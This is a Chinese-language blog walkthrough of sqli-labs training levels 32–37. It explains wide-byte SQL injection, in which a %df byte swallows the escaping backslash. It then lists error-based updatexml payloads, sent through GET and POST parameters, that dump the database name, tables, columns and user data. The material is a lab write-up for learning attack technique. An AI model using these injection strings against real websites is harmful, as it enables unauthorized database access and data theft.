当前位置: 首页 > news >正文

sqli-labs靶场32-37关(宽字节注入)

目录

前言

less32(宽字节注入)

less33(宽字节注入)

less34(POST型宽字节注入)

less35(数字型闭合宽字节)

less36(宽字节注入)

less37(POST型宽字节注入)



前言

宽字节注入是基于字节层的,所以在注入时,要用十六进制

\'——引号被转义,无法注入(\'对应十六进制为%5c%27

如果我们在传入的引号前面再加上一个字符能与服务端加的转义符\一同被解析为一个完整的宽字符,那么转义符\就被吃掉了,留下引号用于注入。这个字符我们常用%df

%df%5c%27——'

所以我们只需要传入参数%df%27,后端检测到%27(引号)后,就会在%27前面加上%5c(\)

即%df%5c%27——',造成注入



    less32(宽字节注入)

    直接传参引号不会报错,因为被转义了,利用宽字节注入:

    ?id=%df%27

    利用报错信息,做报错注入:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    错误pyload:

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+注意这里security的引号不能用宽字符注入了,会导致乱码,语法错误。

    正确pyload:

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    (这里的limit 3,1表示第四张表,忽略前三个表)

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less33(宽字节注入)

    这道题的pyload和less32一模一样:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less34(POST型宽字节注入)

    这关宽字节注入是POST型传参的,先抓包:

    %df'——报错,判断为单引号闭合……

    利用报错注入:

    uname=%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据



    less35(数字型闭合宽字节)

    ?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less36(宽字节注入)

    pyload和less32一模一样:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less37(POST型宽字节注入)

    pyload和less34一样:

    uname=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据



    相关文章:

  1. hot100 -- 5.普通数组系列
  2. 机器学习算法-k-means
  3. 02.上帝之心算法用GPU计算提速50倍
  4. python库 PyYAML 详细使用
  5. 【算法题】算法一本通
  6. android stdio 的布局属性
  7. 《Python语言程序设计》2018 第4章第9题3重量和价钱的对比,利用第7章的概念来解答你
  8. 初学c语言22(编译和链接)
  9. Day09
  10. day62—DFS—太平洋大西洋水流问题(LeetCode-417)
  11. 解决 IDEA 在运行时中文乱码问题
  12. 第十一讲 | 多态
  13. 构建系统maven
  14. 实验:基于SpringBoot+MyBatis-Plus实现文章列表增删改查
  15. 怎么更改cursor chat中的字体大小
  16. 【Oracle】安装单实例
  17. 上位机知识篇---网络类型
  18. res.json() vs res.send() 的区别
  19. Java内存区域与内存溢出异常分析与解决
  20. linux命令 systemctl 和 supervisord 区别及用法解读
  21. 专门做有机食品的网站/优化大师win10能用吗
  22. 美橙网站建设/最新天气预报最新消息
  23. 个人做电子商务网站/搜索引擎的两个基本方法
  24. esc服务器 wordpress/长沙百度快速优化
  25. 大公司网站搭建公司/seo咨询服务
  26. 上海网站建设哪家专业/seo优化推广工程师招聘